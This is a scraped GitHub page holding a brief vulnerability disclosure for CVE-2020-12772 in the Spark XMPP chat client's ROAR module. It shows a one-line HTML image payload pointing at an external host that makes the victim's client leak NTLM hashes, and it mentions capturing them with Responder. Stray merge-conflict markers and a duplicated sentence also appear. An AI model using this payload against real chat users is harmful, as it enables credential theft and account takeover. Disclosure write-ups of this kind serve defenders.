

master

...

cves / cve-2020-12772 / CVE-2020-12772.md

theart42 added 2020-24364

History

2 contributors

30 lines (21 sloc) 1.17 KB

CVE-2020-12772

Description

<<<<<< HEAD When @4nqr34z and myself, @theart42, were building a CTF box, we came accross an interesting

When @4nqr34z and myself, @theart42, were building a CTF box, we came accross an interesting

2e226274aae6df71614d40d24e76348b882194de vulnerability in the Spark XMPP client and its ROAR module.

The screenshot shows the Spark 2.8.3 website. The header includes navigation links: Home, Projects, Downloads, Community, Fans, Support, and About. Below the header, there's a section for Spark 2.8.3, which is described as an Open Source, cross-platform IM client. It features built-in support for group chat, telephony integration, and strong security. A 'DOWNLOAD' button is visible. To the right, there's a 'PROJECT LEAD' section showing a user named 'vacant' and a 'SNAPSHOT' section showing the latest build (2.8.3) and download statistics (7,452,187 downloads).

Home | Projects | Downloads | Community | Fans | Support | About

When we opened a chat with another user, we could send an `<img` tag to that user with an external URL as the source of that image, like this:

```
<img src=[external_ip]/test.img>
```

Each time the user clicks the link, or the ROAR module automatically preloads it, the external server receives the request for the image, together with the NTLM hashes from the user that visits the link, i.e. the user you are chatting with!

Exploitation

For our CTF box, this was golden. By running responder, we could capture the hashes and use them to gain access to the user account and escalate our privileges (depending on the user of course).



Mitigation

The developer has been notified and a fix is underway